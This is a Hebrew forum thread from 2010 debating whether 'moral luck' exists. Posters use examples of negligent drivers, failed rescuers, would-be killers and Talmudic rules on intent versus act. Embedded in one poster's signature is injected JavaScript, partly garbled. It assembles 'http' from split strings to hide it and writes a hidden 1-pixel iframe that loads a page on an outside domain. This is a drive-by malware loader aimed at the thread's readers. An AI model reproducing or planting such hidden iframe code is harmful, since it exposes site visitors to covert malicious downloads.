בית פורומים עצור כאן חושבים

האם יש מזל מוסרי או אין מזל מוסרי ??

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-24/11/2010 20:25 לינק ישיר 
האם יש מזל מוסרי או אין מזל מוסרי ??

בעקבות ההרצאה של פרופ' דוד אנוך "מזל במוסר ובמשפט" (מאוד מעניין ממליץ בחום)  

http://multimedia.huji.ac.il/video/outreach/1011/madua%202010-2011/m05.html

מה זה מזל מוסרי ?
למשל:
1, שני נהגים רשלנים, אבל למזלו של אחד מהם הוא פגע\לא פגע בהולך רגל,
האם יש הבדל ביניהם מבחינת מוסרית, כלומר האם כלפי זה שפגע אנו רואים בו פחות מוסרי מזה שלא פגע, בזמן ששניהם בעצם התרשלו אותו דבר,

2, שני נהגים שלא התרשלו בכלל, ובכל זאת אחד מהם פגע, בגלל מזל כלומר, משהו שלא היה בשליטתו,
האם יש בו חוסר מוסריות יותר מהשני שלא פגע ?

3, התמזל מזלו לאחד להציל מישהו, ולאחד לא,
כלומר שניהם היו מצילים אם היה קורה להם מקרה להציל, אבל רק לאחד זה קרה,
האם מגיע לו שבח יותר על המוסריות ?

4, שני שכרי חרב שניהם ירו ופצעו בקרבן שלהם, אבל אחד מהקרבנות ניצל ממות מתוך מזל (הפרמדיק הגיע עליו יותר מהר)
האם הרוצח שהרג, יותר רוצח מזה שלא הרג ?

5, שני שופטים רעים שמוכנים לקחת שוחד, אבל רק לאחד מהם הזדמן לקחת שוחד,
האם השופט שלא הזדמן לו לקחת ?! יותר צדיק ??

6, שני תאומים (מבחינת אותו גנים) שנפרדו, ואחד מהם גדל בחברה רעה,
האם הוא פחות מוסרי ??

7, אדם נדיב מטבעו ואדם קמצן בטבעו,
האם הנדיב יותר מוסרי ?

לפי הדוגמאות האלה רואים שיש מזל מוסרי ? או שאין מזל מוסרי ?

בהצלחה לכולנו ושנחכים לעולם אמן ואמן,,,,,,,
max

(יש לי מה לומר בעניין, אבל קודם נראה לאן יוביל אותנו הדיון)       

_________________




דווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 20:32 לינק ישיר 

מזיד, שוגג, מתעסק, נתכוון לאכול חזיר והעלה טלה, וכו'.

_________________




דדווח על תוכן פוגעני

מחובר
נשלח ב-24/11/2010 20:35 לינק ישיר 

בעלבעמיו כתב:
מזיד, שוגג, מתעסק, נתכוון לאכול חזיר והעלה טלה, וכו'.


לא לגבי משפט: הנושא היא רק לגבי מוסר, כלומר האם הוא יותר מוסרי או פחות מוסרי
האם יש מזל מוסרי או לא ? כלומר שלמי שמתמזל מזלו הוא יותר מוסרי מזה שלא התמזל מזלו ?

תוקן על ידי maxmen ב- 24/11/2010 20:39:51




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 20:54 לינק ישיר 

מקסמן

לא עקבתי אחרי ההרצאה. אני ממעט ללחוץ על לינקים ואיני צופה בוידיואים. זה תובע יותר מדי זמן. אם תרצה לסכם, מעבר למה שכתבת, בבקשה.

אבל מתבקש לשאול בעקבות שאלתך: מה הם הקריטריונים שבהם אנו אמורים לדון את המקרים שהעלית, שהם באמת מאד מעניינים.

בדרך כלל יש לכולנו מה שניתן לכנות "אינטואיציות מוסריות". לפעמים האינטואיציות האלו אינן מספיקות. לגבי המקרה שלך, אם יצא לאדם להציל נפש, גם אם עשה זאת לא בכוונת מכוון, עדיין יש לנו תחושה שהוא עשה דבר גדול. הוא עצמו יכול לשמוח בחלקו. נניח שיצא לדוג דגים והעלה ברשתו תינוק שנפל למים (הדוגמא מהגמרא).

הגמרא אומרת יותר מכך. שאם דג בשבת, והעלה תינוק, ולא ידע שיש שם תינוק, אף על פי כן, הוא פטור על המלאכה של ציד הדגים (שהיא מלאכת צד מן התורה).

אם אשאר בדיון על ההיבט המוסרי, ואשתמש באינטואיציות האישיות שלי, וארשה לעצמי להניח שאלו אינטואיציות שיש לרובנו ככולנו (כבני אדם או כבני אותה תרבות) אז אומר שיש לי כאן סתירה. מצד אחד, אני מתפעל מאדם שהציל נפש. מצד שני, אני בוודאי פחות מחשיב אותו מאשר אדם שטרח להציל נפש, גם אם לא הצליח כלל. (נניח שחדר לבנין בוער כדי להציל תינוק, ובסוף התברר שלא היה שם תינוק כלל).

על מה מתבססת ההערכה המוסרית שלי? האם על כך ש"מזכים על ידי זכאי"? כלומר שהוא אדם טוב אם יצא לו כזה הישג מוסרי? על כך שלאחר שנזדמנה לו מצוה כזו (מבחינה מוסרית), הוא יהפוך את עצמו לאדם טוב יותר? (התחושה שזכה להציל נפש יכולה לשנות את אישיותו לטובה. מרגע זה ואילך, הוא אינו אותו ראובן. הוא ראובן מציל הנפש).

אמנם, נניח שבמקום הצלת נפש היה לנו מבחן אמריקאי שאנו מעבירים כדי לאתר עובדים לתחום מסויים. ואדם אחד הוציא מאה במבחן. אבל מתברר שהכל היה על ידי מילוי אקראי של המשבצות. איכשהו יצא לו לקבל מאה. האם ניקח אותו לעבודה? מסתבר שלא. (פעם קראתי שנפוליאון היה מקדם קצינים לדרגות בכירות גם על סמך זה שהיה להם מזל בקרבות. האם "להיות בעל מזל" זוהי תכונה? יש ספר מד"ב ידוע שבו הועלתה הטענה שזו תכונה כמו פיזיקלית הניתנת למדידה, ואפילו סדרת ספרים. אבל אם יש כזו תכונה, מהיכן היא באה ומה גורם אותה?)

_
(טעויות הקלדה)________________

שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



תוקן על ידי מיימוני ב- 24/11/2010 20:55:13

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 21:00 לינק ישיר 

נושא הגנטיקה והסביבה חוזר גם כאן.

לשני הגורמים יש השפעה חזקה מאד על המזל המוסרי כמו על המזל "הרגיל"

מבחינת העברית הצרוף מעניין-כמו שיש מזל טוב לראובן כך יכול להיות מזל מוסרי לשמעון.

אבל בד"כ זה בא ביחד.


תוקן על ידי צענערענע ב- 24/11/2010 21:00:32




דדווח על תוכן פוגעני

מחובר
נשלח ב-24/11/2010 21:13 לינק ישיר 

הרב מיימוני:

השאלה ששניהם קפצו לאש להציל ואחד הציל ואחד הוצאי תינוק מת, כלומר שניהם עשו אותו מעשה גבורה,
רק התמזל מזלו אצלו התינוק היה פחות עמיד באש ברגעים הקריטים,

ולכן לכאורה שניהם גבורים באותו מידה, אבל אחד מהם הציל ואחד לא הציל, והכל מתוך מזל,

שאנו באים לקחת אחד מהם לחתן לבת שלנו ?! את מי היינו בוחרים ?? (עיין ערך גאונים בישיבות) 

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 21:38 לינק ישיר 

הרב מיימוני:

בוודאי שיש לזה השלכות יותר קשות לרע ולטוב, 
לגבי משפט = עונשים 
לגבי פרסים = לתת למי (הרי הקמצן מדוגמה 7 לא אשם בטבעו הקמצני) 
לגבי האיש עצמו שהצליח, (כפי שציינת) שכלפיו לחוזר על מעשיו היא יותר קל (אם לרוצח שהצליח ואם המציל שהצליח)

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 21:45 לינק ישיר 

צענע:

אז דעתך שאין מזל, אם יש שליטה בגנטיקה והסביבה,
ואם אין שליטה בסביבה אז יש מזל ?

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 22:18 לינק ישיר 

ראוי להעיר כי בדיני התורה של חיוב נזיקין ורציחה וכדומה, הרעיון הוא בדיוק הפוך. הבסיס הוא שחייבים על המעשה והכוונה לא משחקת שום תפקיד: החובה היא רק במקרה שבו הפעולה גורמת הנזק מתייחסת לאדם, אבל כפתו לפני ארי ולפני יתושים והשיך בו את הנחש ואתקיל עליה בידקא דמיא  ומעמיד בהמת חבירו על קמת חבירו כולם פטורים מפני שהמעשה לא מתיחס אליהם, ומה שכיוונו להזיק או להרוג לא מעלה ולא מוריד. 

מן הצד השני מי שהמעשה מתיחס אליו אבל לא התכוין, בנזיקין אין זה מועיל לו כהוא זה. רק במיתה יש חילוק, וגם אז הפטור הוא כלפי הבי"ד אבל גואל הדם מותר להרגו.   



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 22:32 לינק ישיר 

נדב, מה קרה לדין גואל הדם בימינו?



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/11/2010 22:39 לינק ישיר 

אליעזרט כתב:
נדב, מה קרה לדין גואל הדם בימינו?

 
יש התפתחות אובוליציוני האנשים היום לא חמים כל כך, או לא אוהבים מספיק את משפחתם ואולי יאמר תודה לרוצח
כל זה היה בצחוק,

אבל ההסבר הפשוט היא, כי החברה השתמשה עם זה להרתיע לשוגגים, כלומר אם היה היום מותר לגואל להרוג ?!
אז אף אחד לא היה נוהג במכונית,

תוקן על ידי maxmen ב- 24/11/2010 22:44:56




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 22:41 לינק ישיר 

נדב:

נכון מאוד, ולכן לא רציתי לדון לגבי משפט,

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 22:43 לינק ישיר 

מקס, חשבתי שתתרץ: 'אין היובל נוהג'...



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/11/2010 22:45 לינק ישיר 

לשנרב

רק בדיני התורה?
הרי גם בבתי המשפט מה שקובע זה המעשה ולא הכוונה. אבל זה בכלל לא הנושא כאן,

פה מדובר על מזל ולא על כוונה אם היתה או לא.
 
למשל אם שני נהגים נהגו בחוסר זהירות אחד מהם הרג הולך רגל והשני לא פגע בהולך הרגל בגלל מזל. האם בגלל זה הוא יותר מוסרי מזה שהרג?(לא משווים ביניהם אם לאחד היתה כוונה או לא -לשניהם לא היתה כוונה להרוג)




דדווח על תוכן פוגעני

מחובר
נשלח ב-24/11/2010 22:51 לינק ישיר 

נדב:

במחשבה שניה: למה באמת ? האם מזה נלמד שיש מזל מוסרי ? או הבעיה המשפטים היא אחרת לגמרי, פשוט אין לנו כלי לדון אדם בלי מעשה ובלי שנדע את כוונתו,

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/11/2010 23:03 לינק ישיר 

יש גם מקרים שהמעשה הוא מוסרי ואילו הכוונה איננה מוסרית
המקרה הקלאסי הוא : אדם נותו צדקה לעני, כדי שאחרים יעריכו אותו
האם זה מעשה מוסרי ?

ויש מעשה שהכוונה שבו היא מוסרית לגמרי אבל המעשה הוא בלתי מוסרי
למשל: אדם נותן צדקה לטרוריסט מחופש לעני, בכסף הזה הטרוריסט מבצע פיגוע
האם גם כאן נדון לפי התוצאה ?

זאת אומרת יש במעשה מוסרי שני חלקים
לכאורה הדעת נותנת שצריך גם כוונה וגם תוצאה כדי שהמעשה יהיה מוסרי נטו

אבל במחשבה שניה
מי אמר שמעשה מוסרי הוא רק מעשה מוסרי נטו ?
( אולי קאנט )
יכול להיות מעשה עם כוונה חצויה מבחינה מוסרית
וגם עם תוצאה חצויה מבחינה מוסרית
למשל : ( נמשיך עם צדקה )
בן אדם נותן לעני צדקה , גם בשביל לעזור לעני וגם בשביל כבוד
העני לוקח חצי מהכסף לעצמו וחצי הוא נותן לטרוריסט

מה כאן ?

_________________




דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האם יש מזל מוסרי או אין מזל מוסרי ??
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext